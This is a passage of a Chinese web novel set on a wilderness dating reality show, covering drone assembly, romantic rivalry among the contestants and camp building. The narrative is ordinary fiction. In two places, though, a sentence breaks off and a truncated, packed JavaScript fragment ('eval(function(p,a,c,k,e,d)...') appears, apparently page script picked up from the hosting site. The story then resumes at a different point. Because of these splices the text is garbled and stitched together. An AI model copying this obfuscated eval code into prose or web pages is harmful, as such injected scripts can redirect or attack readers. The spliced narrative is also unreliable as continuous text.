翻开箱盖,秦璟沅拿出了一大把黑色的零件,机架、电机、螺旋桨......还有螺丝刀和焊接工具。 打量着手里的机架部件,秦璟沅知道节目组为他们提供的方法是什么了。那就是化身电工,现场组装这架无人机。操控无人机机身上的机械臂来跨越沼泽,取到旗帜。 只是秦璟沅之前从没接触过这类东西,理论知识也停留在高中的物理课上。如果有说明书,那他还能尝试一下。 “相互之间,允许提供帮助。” 就在秦璟沅打算自己现场研究时,地上那个锁头里,再次传来幕后工作人员的声音。 另一个大岛上,导演满意地朝那个自发提醒的员工点点头,这就是他想要的。他的面前,正瘫着几份资料,上面清晰地显示了四位嘉宾的个人爱好。 在南砚的那一栏后面,写了几个字:组装机械。当时,一看到他的爱好,导演的脑子里就冒出了点子。 如此反差的爱好,必须让人在节目里表现出来,最好还要能让他与其他嘉宾产生互动。 只要能够相互帮助,无论问答比赛最后的获胜者中有没有南砚,只要他有心,绝对能发挥作用。 现在的局面,对导演来说,无比完美。因为南砚对秦璟沅表现出了明显的兴趣,和韩睿霖之间的关系也很僵硬。 如他所料,看见箱子里的零件时,南砚的眼睛瞬间亮了。他行李里的那些宝贝,就是各种机械。 为了锻炼手指的灵活度,南砚经常会组装一些极为复杂的机械零件。而不同类型的无人机,他已经装过不下十遍。对于其中的构造,南砚可谓是了如指掌。 他摩挲着手里光滑的机身,余光悄悄地飘向秦璟沅那边。发现对方正随手摆弄着地上的零件,一时没有其他动作,便喜悦地抿起唇。 听到工作人员的提示,南砚没有犹豫,抱着怀里的箱子跑到秦璟沅的身后。他蹲下身,用指尖轻轻碰了碰面前人的肩膀,小声道: “秦哥。” “嗯?” 感受到南砚的动作,秦璟沅没有转身,低低发出一个鼻音以作回应。他的眼睛仍专注地观察着,每个零件之间的关系。 就算节目组这么说,他也习惯性地不去依靠别人,而是凭借自己的能力。 刚才韩睿霖想要来帮忙,结果他明显也是个门外汉。没有章法的情况下,只会添乱,被秦璟沅一个眼刀赶到旁边去了。此时,韩睿霖正臭着一张脸,注视着这边。 更准确来说,是在南砚的手指碰到秦璟沅的肩膀时,韩睿霖的表情才变臭的。偏偏他毫不自知,只觉得是对方和他相性不合,怎么看怎么不顺眼。 完全无视背后刀锋似的目光,南砚微笑着点了点秦璟沅手中的零件,语气柔和: “这个,我还挺擅长的。请问,我可以帮助你吗?” 终于,秦璟沅偏过头。他看了眼南砚手中的箱子,挑眉问道: “你自己不先弄好?” 倒是先来帮他了,这么热心。 “...没关系,我,我不着急,还是先替你装好吧。” 近距离对上那张脸,南砚的心口滞了一瞬。他不动声色地垂下眼睫,缓和着自己的呼吸,保持声音的稳定。 这还是他们两人第一次靠这么近。 对方的呼吸,几乎都打在了南砚的唇上,仿佛是被昨夜的火星灼伤了。直到现在,那麻麻的疼才扩散开来。 而秦璟沅完全没注意到,已经重新转回身。他思索片刻,指节推了推鼻梁上的镜框,提出了自己的想法: “你先装,我看一遍。” 他打算趁此机会,拓宽一下自己的业务能力,以后说不定也能成为个财路。 没能获得手把手教学的机会,南砚暗自小小遗憾了一把。不过,能在秦璟沅的面前展现自己,已经很好了。 瞧瞧,有的人嫉妒得都要吐毒汁了。 捏碎了掌心里的一枚果子,韩睿霖皱眉甩了甩手。指尖黏黏哒哒的,难受极了。可这完全比不过他现在的心情。 别以为他刚才没看见,那个家伙在秦璟沅转回身后,就朝自己这边抛来一个颇为得意的眼神,似乎在说: 啧啧,你不行啊。 该死的,他为什么没有去学这玩意儿。如果他会,现在哪里还轮得到南砚在这里炫耀。 刚才秦璟沅的目光,赤/裸/裸地扎在韩睿霖的心头。尽管男人没有表露出任何嫌弃的意思,只是很淡地扫了他一眼。 可韩睿霖却觉得无比愧疚,甚至开始反思自己,当时学生社团的时候,应该要报更多的。 秦璟沅一边记着南砚组装的步骤,一边将地上的零件,按照连接顺序依次摆放好。 他根本没心思去关注其他人的斗争,满心满眼都是沼泽对面的旗子。节目组花了这么大心力,应该是个高分旗。 指尖不小心触到了另一个人的,秦璟沅抬眸,就见苏弘嘉不知何时,出现在了他的身侧,将下一样东西递到他手里。 两人无言地对视片刻,又不约而同地低下了头。 正如之前,苏弘嘉能以最恰当的时机,在秦璟沅伸出手的那一刻,就将匕首递过去那样。 他们之间有种诡异的默契。 或者说,是因为苏弘嘉格外擅长察言观色,才能人为地制造这种默契。 “连接电调的时候,要把这三根线连到电机上。然后把这根电源线和电池连上。这根是信号线,需要和飞控板相接。 就是这个。” 像是怕秦璟沅看不清楚,南砚每完成一步,都会进行讲解。他展示着手中不同的线,耐心地放慢自己组装的动作,随后又拿起那块飞控板晃了晃。 完成组装后,南砚拿起遥控器,开启电源。无人机上的指示灯依次亮起,底下的机械臂也微微摆动。 整个过程,挑不出毛病。 即使是韩睿霖,也不得不承认,南砚在这个方面确实专业。他不是那种会因为自己的偏见,而无脑贬低对方的人。 昨天的时候,他还没有看见南砚的能力,自然就情绪上头,随便喷人了。 当然,一码归一码。 他可还没忘记刚才,南砚那个得意的目光。韩睿霖也是个非常记仇的人。 “秦哥,怎么样?” 一双清澈明亮的杏眼,此刻正紧紧盯着面前的男人,眼角眉梢都闪烁着期待的星芒。 本打算开始动手的秦璟沅,闻言分了些神。他瞥了眼南砚的表情,随意地夸道: “不错。” “能不能,再多夸夸我呢?” 手指揪着马甲的边缘,南砚鼓起勇气,再次祈求地眨眨眼。 这么缺人夸么? 单手摆弄着地上的零件,秦璟沅从挎包里掏出一串红得发紫的桑果,抛到身后,被南砚慌张地接住了。 “拿着。” 口头上的夸奖,怎么抵得过物质上的奖励呢?至少秦璟沅觉得与其让向恒夸他,还不如给他提奖金。 在节目上,最重要的是积分旗。 这个就别想了,秦璟沅是不会给的。其次,就是食物。毕竟吃饱了,才能有力气找旗子。 触到桑果的刹那,南砚的手指微微颤了颤。他旋即收紧指尖,将它小心翼翼地拢在掌心。 低下头,南砚用鼻尖轻触那饱满的果实,深深吸了一口气。凝结了所有秋霜的甜,在他的鼻腔里肆意地流淌。 嘴角不受控制地上扬,南砚细细打量着秦璟沅的侧脸,小声嘟囔着: “这样好看,肯定很甜。” 不知是在说桑果,还是别的什么。 确实,这桑果甜得秦璟沅牙疼。只是吃了几颗,他就收回了包里。 在没有水的情况下,实在是太腻。 将无人机的主体机架稳稳固定住,秦璟沅的动作没有一丝犹疑。刚才的所有步骤,在他的脑海里清晰地呈现着。 若不是有着过目不忘的本领,秦璟沅不可能在15岁时,就能将刑法和民法典一字不漏地背出来。 等秦璟沅拿起电烙铁,准备焊接时,韩睿霖终于忍不住挤到了他和苏弘嘉之间。 那些桑果,是自己替秦璟沅在林子里找了好久才摘到的。 但是,他就这样轻易地给了别人。 南砚脸上的笑容,刺目得像是眼球上硌着的沙。 心脏被一只无形的手揪住了,韩睿霖第一次有这种复杂的感受。是伤心,还是尴尬,他分不清楚,唯独没有愤怒。 在此之前,他往往都是用怒火和气闷,来宣发情绪的。现在,韩睿霖觉得自己已经有些不像是最初的他了。 他居然开始尝试控制,脸上强撑着笑容。拿过秦璟沅手里的电烙铁,韩睿霖佯装随意地挑了挑眉,开口道: “我会了,让我来吧。” 他需要一些事来分散注意力。 瞧见那人嘴角不自然的弧度,秦璟沅镜片下的眼睛格外平静。他朝后让出一块位子,没有再拒绝。 非要帮他白干活,那秦璟沅自然也无所谓。 即使韩睿霖挤了过来,苏弘嘉也没有挪开分毫。他俩奇怪地开始比拼起来,动作变得越来越快,似乎隐隐有火花四溅。 那架初具雏形的小型无人机,就这样被两只大手抢来抢去。 支着一条腿,秦璟沅将手肘搭在膝盖上,漫不经心地将视线在两人身上来回打转。 这一个个,胜负心这么强有什么用?最后那旗子还不是归他。 将某种猜测压到心底,秦璟沅盯着三人头顶盘旋的飞行摄像球,眼神意味不明地闪了闪。 或许,这才是节目组想看到的吗? 另一边,南砚仍捧着手里的桑果发呆,根本舍不得吃。怎样才能立刻把它变成果干?急,在线等。 最后旋螺旋桨的工作,被韩睿霖手快地抢走了。想起刚才南砚提醒的话,他看了下螺旋桨的根部,上面带着“CW”的标记,是反桨。 将它在电机轴上顺时针旋进去后,韩睿霖左手托住机架底部的平面,右手扶住机身侧面,递到秦璟沅面前。 整个过程中,他的表情都出乎意料得安静,完全没了之前的恣意和张扬。似乎是想确定些什么,韩睿霖的目光执拗地落在男人的脸上。 接过那架无人机,秦璟沅看着对方依旧摊在自己面前的手。韩睿霖的中指上戴了一枚银色的戒指,是交错缠绕的蛇形。 他有点不明所以,这是也想要奖励? 但秦璟沅目前身上带着的食物,全都是韩睿霖给的,还有那个烤猪腿。他也不至于真的抠到拿对方送来的东西,反送回去。 在挎包里摸索片刻,他握着一把东西,塞进了韩睿霖的手心。两人掌心相触的瞬间,秦璟沅的手就被人裹住了,连同那东西。 与他手背相贴的皮肤,烫极了。 仿佛和沙滩初见,握手相识那般,蜜色的手就这样牢牢地箍住了那如玉的指尖,几乎要挤进指缝里。 在秦璟沅不适地蹙起眉心,想要挣脱时,那人正好松开了。 韩睿霖收回的掌心紧攥着,严丝合缝的。似乎是顾忌着空中的镜头,他动作迅速地将东西塞进了自己的挎包里。 对上秦璟沅因为不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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就这样反感他的触碰吗? 他的思绪无比混乱,心头扎着的那根刺,迟迟无法拔出,反而越陷越深。 从发现自己不知不觉地改变后,韩睿霖的心里就一直很不舒服。他强行冷静下来,想要找出其中的原因。 一开始,他认为是因为南砚试图占据自己的身份,想方设法讨好秦璟沅,从而与对方成为比自己更为要好的朋友。 所以韩睿霖伸出手,想要得到同等待遇,以此缓解内心的不适。 但是,在秦璟沅给了自己比南砚那个更好的东西后,韩睿霖只觉得心里更加难受了。 这回不仅仅是刺疼的难受,还混杂了许多痒,让韩睿霖根本抓不着的痒。正因如此,他下意识地扣住了秦璟沅的手。 相贴的皮肤之间,霎时传来一股细密的电流,将韩睿霖那股难耐的刺痛感,散去了大半。只是,那痒依然还在。 脑海里有一缕思绪闪过,韩睿霖没来得及抓住,只是勉强找了个借口,解释着自己刚才的冲动行为。 果然,秦璟沅的语气很冷,听起来根本没有相信。 而之后对方的表现,让韩睿霖没来由得开始害怕。上一次出现这种情绪,还是他的赛车因为轮胎打滑,即将失控撞上山壁时。 松开手后,那股不适感卷土重来。韩睿霖看着秦璟沅拿到蓝色旗子,就冷漠转身的背影,脸上彻底失了血色。 心跳仿佛都被冻得变慢了。 在南砚和苏弘嘉都跟着那人离开后,韩睿霖找了个摄像机拍不到的死角。他蹲在草丛里,从包里掏出了那把彩色的水果糖。 晶莹剔透,像是天边绚烂微醺的晚霞。 心跳也随之加速。 或许,他对秦璟沅的那种感觉,根本不是单纯的友情,还夹杂了些别的什么。 剥开一颗红色的糖,韩睿霖用舌尖卷进嘴里。酸甜的果香从他的舌根绽放,逐渐蔓延至他的心间。 脑海里的那缕思绪,被他抓住了。 他喜欢秦璟沅。 所有的刺疼和麻痒都在刹那间消失,韩睿霖只觉得豁然开朗。他之前其实一直在自欺欺人,一次又一次地洗脑自己。 洗脑的副作用无声堆积,直到刚刚才彻底爆发了出来。 因为韩睿霖从来不是个胆小的人。 他喜欢一切刺激的运动,也向来擅长把握自己喜欢的东西,跟从自己的心。 大三的时候,韩睿霖的父亲让他回自家公司实习,就此退出赛车圈。他直接带着自己的赛车手套,头也不回地离家出走了。 这一走,就是一整年。 经常一个人出国比赛的韩睿霖,生存技能全部点满,在哪里都能活得很好。 也是那一次,他心血来潮跑到了北极,看见了极为难得的金色极光。那种壮丽震撼的美,深深地刻进了韩睿霖的脑海。 回来后,韩父终于松口,答应让韩睿霖继续走赛车手的道路。并表示:无论他什么时候想要回来,公司永远都会给他留一个位子。 因此,韩睿霖的字典里完全没有“退缩”二字。他可以害怕,但不会退缩和逃避。 之前的几次自我欺骗,和韩睿霖的本质相违背,才会让他这样不舒服。 既然喜欢了,那他自然是要将人追到手。感情,没什么好否认的。 咬碎嘴里的草莓糖,韩睿霖舔了舔自己的犬牙,站起身便朝着三人离开的方向追去。 真甜啊。 可他,还是想要更甜的。 12. 无法躲藏的爱 操控着无人机上的机械臂,秦璟沅顺利地取到了沼泽对面的那面蓝色旗帜。翻开旗面,他看见了数字“5”。 也就是说,不到一个小时,他就轻轻松松地拿到了五万块。 将旗子塞进包里,秦璟沅原本不怎么样的心情,顿时缓解了许多。说实话,他其实也没必要计较那么多。 不管韩睿霖的目的是什么,只要不妨碍到他,确实是无所谓的。而且对方还会为了炒作,刻意向他献殷勤。 最后的受益方中,也有他自己。 之前秦璟沅还说韩睿霖幼稚,没想到现在他也犯了这样的错误,还是太松懈了。 不过,他并不打算主动去缓和两人的气氛。在秦璟沅的预测里,韩睿霖这种性格应该不会放弃。 他等着。 “分开行动吧。” 从沼泽离开后,另外两个人就一直跟在秦璟沅的身边,做什么事都要一起,效率实在是低。 到头来,拿到的积分旗都不好划分归属。偏偏他们主动想要让给自己,秦璟沅觉得有些无趣。 他不需要谦让。 听到秦璟沅的话,南砚敏锐地察觉到了他情绪的变化。先前那种令人不可靠近的冷意,渐渐消失了。 秦律师又恢复成了原本模样。 “好的,秦哥。那我们到时候该怎么汇合呢?” 摩挲着口袋里的果实,南砚眉眼弯弯,试探着问道。 “这个岛植被很旺盛,气候湿润,应该有稳定的水源。在那附近汇合。” 抬头看到空中飞过的一群鸟,秦璟沅确定了自己要前进的方向。他将手里带着的藤蔓分了两条给他们,补充了句: “岛上可能还会有节目组的其他任务,这点汇合后再说。” “明白。” 秦璟沅转身拨开挡在面前的枝桠,他听见了一道低沉的声音: “注意安全。” 没有回头,他摆了摆手。 刚才头顶的飞过的鸟群,排列整齐,速度很快,大概率是朝着它们固定的栖息地飞去。周围应该有能饮用的水源。 一路上,秦璟沅收获颇丰。 似是自然的眷顾,他总是能找到新鲜的水果,以及极其容易拿到的旗子。那些果子基本都躺在叶子里,表面还带着晶莹的露水。 挂在灌木丛上的积分旗,也不全是1分的白旗,而是各种颜色都有。导演不是说,颜色和难度挂钩吗? 有点奇怪。 “出来。” 站在原地,秦璟沅朝着前面的树丛,冷淡开口。随着“唰唰”的树叶摩擦声响起,一个银发的男人从里面走了出来。 他的发丝之间,还夹着几枚叶片,怀里抱着一捧果子。 吐出嘴里不小心吃到的枯草,韩睿霖走到离秦璟沅半米的距离就停下了。他舔了舔唇,抬起手打了声招呼: “嗨嗨,好巧。” 确实巧,这一路上都走在他前面呢。 “你这是做什么?” 对方怀里那些水果,和刚才秦璟沅放到包里的一模一样。显而易见,那些东西都是韩睿霖提前摆好的。 那么,积分旗应该也是他。 “啊,你是说这些东西吗?没什么,我只是在赔罪。” 将果子一股脑塞进秦璟沅的怀里,韩睿霖这回极注意分寸,没有碰到对方的手。 “不必了。” 重新推回去,秦璟沅的眼角抽了抽。他并不希望自己的包变成炸药包,已经够满了。 他还要放旗子。 “好吧好吧,那我替你保管。” 拉上自己鼓鼓的挎包,韩睿霖毫不气馁。他自然地跟在秦璟沅身后,有一搭没一搭地找着话: “你是要去找水源吗?” “嗯。” …… 握着一枚石头,秦璟沅打下了一根枝条上绑着的白旗。蚊子腿再小,也是肉。 对于韩睿霖时不时的问题,他敷衍地应声。 见秦璟沅回应,韩睿霖努力控制着嘴角的弧度,不无雀跃地想:天,他可真温柔,居然不会让自己任何一句话落到地上。 “我之前找到过那条小溪。” 或者说,韩睿霖就是在那条溪边宰了那只猪崽子,从而导致了后面的追逐大战。 “水质如何?” 捕捉到自己想要的信息,秦璟沅终于不再用音节回复了。他将一整把旗子,用一根细藤缠了起来,绑在自己的腰上。 这里已经有着25万RMB了,非常重要,还是贴身携带比较好。 在秦璟沅的手臂背到身后时,韩睿霖适时地替他固定住那些旗,好让对方空出手来系结。 他认真地回忆了下,斟酌着道: “清澈见底,鱼虾很多,水生生物的种类也挺丰富的。但是昨天晚上不是下了暴雨么?所以,我现在不能确定水底会不会有很多沉积的泥沙。” 因为掀开了机车外套的衣摆,面前的男人露出了一截腰腹。黑色衬衫覆盖住了底下玉色的皮肤,被藤蔓缠住后,勾勒出了紧实的腰线。 指尖微微战栗,韩睿霖喉结滚动,克制地收回了手。他要一步步慢慢来,可不能把人给吓跑了。 明明之前,他还不愿将人和性联系在一块儿。可一意识到自己的心意,韩睿霖就总是忍不住思维跑偏。 因为喜欢,所以才渴望触碰。 但是,不行。 站在他跟前的秦璟沅,完全没注意到后面人的想法。听见韩睿霖专业的回答,他有些惊讶。 这人的露营经验,确实给他带来了不少便利。对此,秦璟沅还算满意,也就没有拒绝韩睿霖的帮助。 “可以去上流看看。” 做出决定时,秦璟沅听见远处传来熟悉的螺旋桨声。他循声望去,发现节目组派了三架直升机,在不同地点投放了许多个黑色的物资包。 其中就有一个,离他们很近。 两人对视一眼,便立刻朝着那边赶去。韩睿霖因为穿着方便,动作更快。他蹲在包裹前,拿出了里面附着的一张卡片。 “两人一组,今晚率先找到水源并搭建营地的队伍,获得5分。” 转头晃了晃着手里的卡,韩睿霖念完上面的内容,就得意地挑起眉, “节目组说要两人一组诶。我来的真及时,那你要不要跟我走啊?” 慢悠悠地走过来,秦璟沅假装没听见他的废话,将那个包裹打开,查看起里面的物资。 并肩蹲着,韩睿霖用手指戳了戳他的胳膊,执着地重复道: “要不要,跟我走?” 感受到那人温热的呼吸,秦璟沅轻飘飘地剜了他一眼。镜片上起了些雾气,模糊了他的神色。 “不是已经在走了?” 不知道这家伙在问些什么蠢话。 “哈哈哈,是啊。你已经跟我走了嘛。” 终于听到自己想听的,韩睿霖用手捧住自己的脸,不自觉地傻笑着。 无视了旁边人的抽疯,秦璟沅清点了一下包裹里的东西:一个帐篷、两个睡袋,还有一个小型的医疗包。 一开始连行李都不让带,这会儿节目组居然会主动投放医疗包。看来,韩睿霖那天晚上的经历,完全在他们的意料之外。 为了防止之后再发生类似的意外,威胁到嘉宾的生命安全,导演才临时加了这个吧。 实际上,秦璟沅的猜测没错。 在拍摄之前,节目组已经派人提前探索过这个海岛,排除了其中许多的潜在危险。 毕竟他们虽然披了个荒野求生的外壳,但本质上还是希望能创造让嘉宾们自由恋爱的机会。 适当的危险,可以让感情升温。但有些情况,他们若是难以应付,很可能会让这个节目出现安全问题。 到时候便会被屏幕外的观众抨击,说节目组不把素人的生命放在眼里。尤其是现在,四位嘉宾各自都有了支持他们的观众。 在节目组探索海岛的时候,那头野猪不知道躲在哪个洞里,才会没被发现。 当时,看见韩睿霖和秦璟沅两人与野猪搏斗,另一个岛屿上的导演和其他工作人员都为此捏了把汗,心脏都快跳出嗓子眼儿了。 后面韩睿霖胳膊上的伤,更是让他们紧张。如果没有及时处理,后面很可能会破伤风,甚至是感染发炎,影响活动。 知名赛车选手的手臂,可想而知,有多么重要。但是韩睿霖对草药的了解,是导演没想到的。 很惊喜,也很庆幸。 最后因祸得福,既增加了节目的话题度,又让韩睿霖和秦璟沅两人共同获得了一段特别的患难回忆。 目前,直播平台观众的弹幕头像里,“秦月照霖川”的cp头像使用率是最高的。 尤其是那天雨夜后,他们两人的话题度直线爆增,在微博热搜的前排占了好几个位置。 每两位嘉宾之间的cp名都是观众自发取的,最后由投票决定。 本来导演以为自己需要替韩睿霖买点热搜,拉一下热度。因为韩父是《爱在荒野》这个节目背后最大的投资商。 他唯一的要求,就是希望自己的儿子能玩得开心。要是能找到对象就更好了。 从小到大,韩睿霖一直以为自己的性取向是女生。可事实上,他根本对女生不感兴趣。 去海边旅游时,韩睿霖完全不会看穿着比基尼的性感女人,反而会看向那些只穿了条沙滩裤的男人,并对他们的身材进行指指点点。 那个时候,韩父便非常敏锐地察觉到了这一点。在那之后,他试探了许多次,包括在韩睿霖大学毕业后,给他安排相亲。 对象还全是他喜欢的那种乖巧文静、小鸟依人型。结果,直接把韩睿霖给吓跑了,连夜跑去英国参加比赛。 但被韩父问到是不是喜欢男人,韩睿霖又炸了毛,嚷嚷着: “疯了疯了,我怎么可能找那种臭烘烘、硬邦邦的对象?我有病吧?” 是啊,他确实不喜欢这种类型。喜欢白净的,香喷喷的,像秦律师这样的。 屏幕后面,韩父坐在沙发上,对自己儿子的表现简直没眼看。他的撩人大法,难道没有一丁点儿遗传到这臭小子的身上吗? 除了水果,还是水果,这吃得饱吗? 然而,韩母正同款捧脸傻笑,背后都冒出了粉红色的小花背景: “哎嘛,小秦这孩子长得可真是标致。霖霖的眼光比我好多了呀~” 韩父:?什么意思。 “这臭小子,傻得我眼睛疼。到时候把我儿婿吓跑了,还不知道会跑哪儿呜呜哭去呢!” 他的语气恨铁不成钢,手指飞速地在键盘上移动,发了一条弹幕: 【韩睿霖看起来这么傻,秦璟沅怎么可能喜欢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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袖子有些碍事,秦璟沅抓住自己的领口,抬手就想把皮质外套脱掉,瞬间被人止住了。 “等等,别别别——” 从另一边冲过来,韩睿霖的眼睛都被吓大了。在没意识到自己的感情之前,他就已经不想让别人看见秦璟沅的身体。 现在,就更不可能愿意。 韩睿霖无比庆幸,当时那个雨棚搭建的位置,刚好把树上的摄像头挡住了。如果让网上的观众,把秦璟沅身上的伤疤当作谈资,他根本不敢想。 而且,秦璟沅的面部表情总是控制得很好。韩睿霖很难从他的脸上,去判断他的内心有没有受到伤害。 这让他有些难过。 然而韩睿霖不知道的是,秦璟沅已经过了那个敏感阶段。只有在乎,才会害怕被别人看见。 可他早已不放在心上了。 那个男人,不配活在他的记忆里。 被韩睿霖扯住衣摆,秦璟沅很快察觉到他做出这个动作的原因。对上那双担忧的眼,他松开手,示意着地上的组件: “那你搭帐篷,我去生火。” “好嘞!” 见秦璟沅没再坚持,韩睿霖笑弯了眼,眉尾的两颗银钉随之起伏,在阳光下闪着银光。 他的动作极为迅速。 “哗啦”一声,韩睿霖将帐篷部件倒到地上。他蹲下身,挑出其中的帐篷主体,熟练展开,抖平褶皱。 握住铝合金支架,逐一接长穿进帐篷的套环,韩睿霖手臂发力,猛得撑起整个帐篷。 接着,他弓着腰背,用石头将地钉以45度角,用力地砸进土里。 “梆梆梆!”砸得风风火火。 每敲一下,都伴随着周围泥土的四溅。韩睿霖用力扯紧防风绳后,钻进帐篷里摆好防潮垫,以及那两个睡袋。 想了想,他又从口袋里掏出一把东西,小心翼翼地摆到秦璟沅的那个睡袋旁边。 做完这些,韩睿霖快速地跑到秦璟沅跟前,蹲下身子,兴奋地喊了句: “我搭完了,你要不要来检查一下?” 漆黑的桃花眼亮亮的,像是藏了星星,让秦璟沅有点幻视自家土豆,找到了一根上好的肉骨头,讨赏似地蹲坐在他面前摇尾巴。 脸上还沾了几颗泥点子。 好憨。 但韩睿霖这小子干活确实麻利。 “好啊。” 放下手中的木材,秦璟沅跟着韩睿霖俯身进了帐篷里。刚一进去,他就看见了一个很显眼的东西。 右边的睡袋旁,放着一束带着水珠的花。洁白的花瓣似被新雪染了色,层层叠叠,簇拥着嫩黄的花蕊。 指尖抚摸着那娇嫩的花瓣,秦璟沅没有抬头,鼻尖萦绕了一股独特的清香。 “为什么放这个?” 偏开脑袋,韩睿霖挠了挠自己的脸颊,声音听起来有些含糊: “就,用来净化空气呗。然后,还挺好看的。” 没说的是,一看到那片海岛栀子花,韩睿霖就想到了秦璟沅。被露珠环绕着的雪白花瓣,像是被星星捧着的月亮。 “谢谢。” “...有花香,你睡得也舒服点...啊,什么,额,多大点事儿,谢...谢啥啊。” 本来还在闷头输出的韩睿霖,冷不丁听见秦璟沅的道谢,耳朵根子都烧红了。幸好,还是看不出来。 他更不敢转头看那人的眼睛了。 现在只要两人对视,韩睿霖保准会暴露。因为那双桃花眼里,已经写满了对他的喜欢。 交汇刹那,便会如滚烫浪潮,倾泻而出,无法躲藏。 13. 秦律师生病了 就在这时,帐篷外传来了另外两人的声音,离他们越来越近,隐约可以听见南砚在说“快点啊”“来不及”“输了”之类的话语。 节目的任务要求是搭建营地,也就是说,除了选择合适的位置搭建帐篷,还需要划分出烹饪区和物品存放区。 为了夜晚的安全,营地外面也要设置简易的防护栏,来阻挡野生动物的靠近。 “秦哥,你们好快啊,连帐篷都搭好了。唉,不像我们,刚刚还不小心迷路了。 要是我能和你一组就好啦,现在我肯定要输了。” 一看见秦璟沅他们的帐篷,南砚就丢下了身后的苏弘嘉,快速地跑了过去,有些羡慕地嚷嚷着。 刚才南砚非要去抓兔子,追着跑了好几里都没抓着。不仅丢了目标,还迷失了方向。 整个过程,他都没有寻求苏弘嘉的帮助,仿佛对方只是个可有可无的存在。若不是节目组非要两人一组,他早就把人给甩开了。 在南砚的世界里,只存在三种人:他感兴趣的人、无关紧要的路人甲以及需要戒备的敌人。 这个节目,刚好让南砚把三种凑齐了。 苏弘嘉始终安静地跟在后面,眸色看起来有些黯淡。然而,他只是攥紧了手里的旗子,没有多说。找了个地方,放下身上背着的黑色包裹。 他们这一路上,运气不错,找到了两个直升机投放的物资包。其中一个特别重,南砚嫌累就拿了另外一个轻的。 从帐篷里出来,秦璟沅对南砚点了点头,用中指推了下眼镜,肯定道: “我们会赢。”那5分是他的。 只是想稍微撒个娇,寻求安慰的南砚:......为什么秦律师看起来面无表情,却感觉很开心??是错觉吧。 “呵,那当然,也不瞧瞧队友是...嗷疼!” 发出这声冷嘲时,韩睿霖正抬着下巴斜睨南砚,手臂不自觉地揽住了秦璟沅的肩膀,却被对方立刻伸手拍开了。 无视身后夸张痛呼的韩睿霖,秦璟沅想起自己还没搭完的营地火堆,以看似不紧不慢,实则两步并作一步的速度,回到了刚才的位置。 在离帐篷极远的地方,秦璟沅拿尖锐的石板挖了一圈防火沟。用虎口比对了一下,宽度和深度大概都是20厘米。 石块也是他在附近找的,打算围个火圈。令秦璟沅有点不满意的是,自己寻到的石头体积过小,数量完全不足,连防火沟顶部的边缘都无法够到。 “韩睿霖,去找大的石块。” 秦璟沅的声音不算响,但韩睿霖就跟脑袋上装了根卫星天线似的,一下子就接收到了他的信息。 “Yes,sir.” 笑嘻嘻地比了个不伦不类的军礼,银发男人又消失了。来去如风,无影无踪。 就在几分钟前,南砚想要把帐篷搭得离秦璟沅近些。他刚往这边走了两步,就被韩睿霖的身体给挡住了。 “南...南啥来着,算了不重要。喂,你踩到了我们营地的防护栏。” 闻言,南砚低头看了眼平坦的沙地,抬腿踩了几下,满头问号: “不是,你在说什么呢?我怎么没看见什么防护栏?” 话音刚落,他伸出的小腿就被一根树枝用力地抽了下。 条件反射地朝后跳了两步,南砚侧身捂住腿,抬头便发现韩睿霖正左手叉腰,右手用长树枝在自己刚才踩着的地方,划出了一条深深的分界线。 右臂上的伤口,跟不存在似的,完全无法妨碍他的动作。 “咦,怎么没有?我这不是正要搭么?” 将树枝在南砚面前甩了甩,溅了对方一脸泥土,韩睿霖嚣张地挑起眉,一本正经地补充, “你再赖着不走,我就去跟他说,你故意妨碍我们组的任务进度。” 两人很清楚,韩睿霖口中的“他”指的是谁。明眼人都能发现,秦璟沅神情中蕴含的那份认真,这说明他极为重视这次的任务。 或者说,他对待每一个任务,都无比认真。 “你,你...” 胸口起伏,南砚又被噎得喘不上气来。他差点要以为自己是什么受虐狂了,明知道和这个土鳖男对话的结局,都是被气个半死,还老是要撞上去。 “你你你,你什么你,结巴就自个儿滚角落里结巴去。懒得笑你,我怕脸上胶原蛋白流失。” “......呵呵,你别得意,秦律师才不会看上你这种粗鲁的家伙。” 瞥了眼不远处秦璟沅的背影,南砚突然压低声音,冷笑着提醒道, “别忘了,他的理想型。” 其实,南砚并不知道秦璟沅的理想型是什么。那次沼泽问答比赛,他坐的离韩睿霖的位置特别远,也就没听到答案。 但他猜测秦璟沅的理想型,绝不可能会是面前这个嘴臭土鳖大少。 然而南砚的攻击,看上去对韩睿霖依然是完全无效。他将树枝插在地上,抚着下巴思索: 乖巧听话,他已经做到了。而只要他足够听话,这何尝不是另一种意义上的聪明呢? 啧啧啧,他可真是太聪明啦! 但是,秦...律师?欸,他原来是律师啊,还挺搭。 下一秒,韩睿霖正好听到秦璟沅的声音,便立刻准备展现出自己的乖巧与听话,将南砚留在了原地。 而南砚的脸上还维持着的冷笑表情,渐渐转变成了尴尬的弧度。不过,旁边的两个男人,根本没有心思注意他。 趁韩睿霖寻石头的间隙,秦璟沅搭完中间的火堆,就准备去找做防护栏的东西。 只是没走两步,他的前面就站了另一个人,是刚才一直没出声的苏弘嘉。 男人的手里提着一个崭新的银制烧水壶,看起来应该是那个大型物资包里装着的。 站定后,苏弘嘉伸手将水壶递到秦璟沅的跟前,抿唇盯着他的脸。 见此,秦璟沅并未马上接过。他意味不明地打量着这人的表情,用陈述事实的口吻说道: “苏先生,这是属于你们组的物资。” 抬了抬手,苏弘嘉垂眸轻声回应: “给你。” “什么,我听不见。” 指尖敲着握在手里的藤蔓,秦璟沅眉眼沉静,语气不疾不徐。 收紧手指,苏弘嘉吞咽着因为紧张而分泌的唾液,提高了音量: “你刚才咳嗽了,不要喝,冷水。” 这回,秦璟沅是真的有点不解。苏弘嘉看起来是个挺寡言的人,偏偏好几次跑到自己面前,支支吾吾半天,非要蹦出几个字。 但刚才他只是略微咳了几下,还用手捂住了嘴,并不明显,居然被苏弘嘉给察觉到了。 因为小时候吃不饱饭,没养好身子,长大了又经常加班透支,秦璟沅的免疫力其实不算好,属于容易生病的类型。 他的家里,全都是林月强行送来的各种必备药品。 